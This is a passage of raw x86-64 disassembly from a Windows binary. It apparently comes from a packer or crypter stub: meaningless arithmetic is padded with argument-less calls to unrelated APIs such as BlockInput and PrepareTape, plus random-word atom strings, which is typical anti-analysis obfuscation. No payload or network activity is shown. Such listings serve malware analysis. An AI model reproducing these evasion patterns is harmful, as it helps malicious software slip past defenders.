mov dword [rsp + 0x1ad4], eax
lea rcx, [rsp + 0xdd58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3748]
mov rdx, qword [rsp + 0x35a0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x1400062a5
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov dword [rsp + 0x1ad8], eax
cmp dword [rsp + 0x1ad8], 0
je 0x1400061e7
cmp dword [rsp + 0x1ad8], 0x1006
je 0x140006270
jmp 0x14000628d
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x37b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x35a0]
mov rdx, qword [rsp + 0x3748]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000621f
call fcn.1400a7770
jmp 0x14000626e
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x4c4]
mov rdx, qword [rsp + 0x3688]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000626e
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
jmp 0x14000628d
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3838]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov dword [rsp + 0x1adc], 0xe2b8
mov dword [rsp + 0x1ae0], 0xbafe
jmp 0x1400062bd
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
shl eax, cl
mov byte [0x1400c9e91], al
jmp 0x140006358
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0x4dc]
movsx edx, word [rsp + 0x4c4]
and ecx, edx
cmp eax, ecx
je 0x140006358
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x1990], eax
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
lea rax, [rsp + 0x4c4]
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov byte [rsp + 0x54], al
cmp dword [rsp + 0x1a7c], 0x36b8
ja 0x14000669d
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1978], eax
mov eax, dword [rsp + 0x1a80]
mov ecx, dword [rsp + 0x19b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ad4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3838]
and rcx, rax
mov rax, rcx
mov qword [0x1400c9010], rax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4dc], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4cc], ax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
movzx ecx, word [0x1400c9008]
sar eax, cl
mov word [rsp + 0x4d4], ax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
mov eax, dword [rsp + 0x1a7c]
add eax, 0x84
mov dword [rsp + 0x1a7c], eax
lea rdx, [rsp + 0xe448]
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1a9c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x3878], rax
mov eax, dword [rsp + 0x1a80]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov dword [0x1400c9004], eax
movsx eax, byte [0x1400c9e91]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x4dc]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov word [rsp + 0x4c8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3838]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x476
mov r8d, 0xe1d
mov edx, 0xda
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1978]
sar eax, cl
mov dword [rsp + 0x1980], eax
lea rdx, [rsp + 0xe480]
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1a98], eax
mov eax, dword [rsp + 0x1994]
mov ecx, dword [0x1400c9004]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a80], eax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [0x1400c9e90], al
jmp 0x140006377
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x53]
shl eax, cl
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3600]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x1400066d4
movzx ecx, word [rsp + 0x4c4]
call fcn.1400a7ed0
jmp 0x140006735
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x54]
movzx edx, byte [rsp + 0x52]
sub ecx, edx
cmp eax, ecx
jle 0x140006735
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
add eax, ecx
mov word [rsp + 0x4d4], ax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x37b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1ab0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
xor eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400c9008], ax
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sar eax, cl
mov word [rsp + 0x4dc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0x4e4]
sub eax, ecx
mov word [rsp + 0x4dc], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1ab0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ad4], eax
movzx eax, word [rsp + 0x4d4]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [0x1400c9e90]
sub eax, ecx
mov byte [rsp + 0x52], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3870]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
shl eax, cl
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
mov eax, dword [rsp + 0x19e4]
add eax, 0x67
mov dword [rsp + 0x19e4], eax
mov eax, dword [rsp + 0x1ab0]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3880]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, byte [0x1400c9e90]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
movzx eax, byte [0x1400c9e90]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4cc], ax
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx ecx, word [rsp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4e8], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0x4e4]
movsx ecx, word [rsp + 0x4dc]
xor eax, ecx
mov word [rsp + 0x4c4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
cmp dword [rsp + 0x19e4], 0x8462
jbe 0x140006735
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1a90], eax
cmp dword [rsp + 0x19b4], 0xc52f
jae 0x140006f7f
movzx eax, byte [rsp + 0x52]
movzx ecx, byte [rsp + 0x54]
sar eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x19ec], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x51], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [0x1400c9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1ab0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x4e4]
movsx ecx, word [rsp + 0x4dc]
sub eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x3888], rax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rcx, qword [rsp + 0x37a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a10], eax
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3838]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1980]
shl eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [0x1400c9004]
mov ecx, dword [rsp + 0x1a48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x4d0], ax
mov eax, dword [rsp + 0x19b4]
add eax, 8
mov dword [rsp + 0x19b4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19e8], eax
movzx eax, byte [0x1400c9e90]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [0x1400c9008]
add eax, ecx
mov word [rsp + 0x4d0], ax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1ad4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [0x1400c9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53], al
jmp 0x140006bd2
lea rcx, str.differentiability_aisle
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x4e0], ax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
or eax, ecx
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x4d0]
xor eax, ecx
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x4c8]
and ecx, edx
cmp eax, ecx
je 0x140007007
mov r9, qword [rsp + 0x3748]
movzx r8d, byte [rsp + 0x53]
movzx edx, word [rsp + 0x4cc]
mov rax, qword [rsp + 0x3820]
movzx ecx, word [rax]
call fcn.1400a8030
jmp 0x140007086
mov rax, qword [0x1400c9010]
imul rax, qword [rsp + 0x3608]
cmp rax, qword [rsp + 0x3838]
jb 0x140007086
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0x4e4]
add eax, ecx
mov word [rsp + 0x4dc], ax
mov rdx, qword [rsp + 0x3670]
lea rcx, [rsp + 0x3600]
call qword [sym.imp.USER32.dll_OemToCharW]
mov dword [rsp + 0x1ae4], eax
movsx eax, byte [0x1400c9e91]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
lea rax, [rsp + 0x1994]
mov qword [rsp + 0x3890], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x51]
movsx edx, byte [rsp + 0x50]
sub ecx, edx
cmp eax, ecx
je 0x140007115
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3838]
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [0x1400c9010], rax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
cmp dword [rsp + 0x1984], 0x98a8
ja 0x1400075b6
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov eax, dword [rsp + 0x1984]
add eax, 0x89
mov dword [rsp + 0x1984], eax
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
or eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3838]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19f0], eax
lea rdx, [rsp + 0x19f0]
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x19f0], eax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d0]
add eax, ecx
mov word [0x1400c9008], ax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
movzx ecx, word [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4ec], ax
lea rcx, str.Flameproof_Subcommittees_overshooting_tribally_Seas
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x4ec], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
sub eax, ecx
mov word [rsp + 0x4c4], ax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x3648]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x37b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3890]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3898]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [0x1400c9008]
shl eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rcx, [rsp + 0x38a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x4d4]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
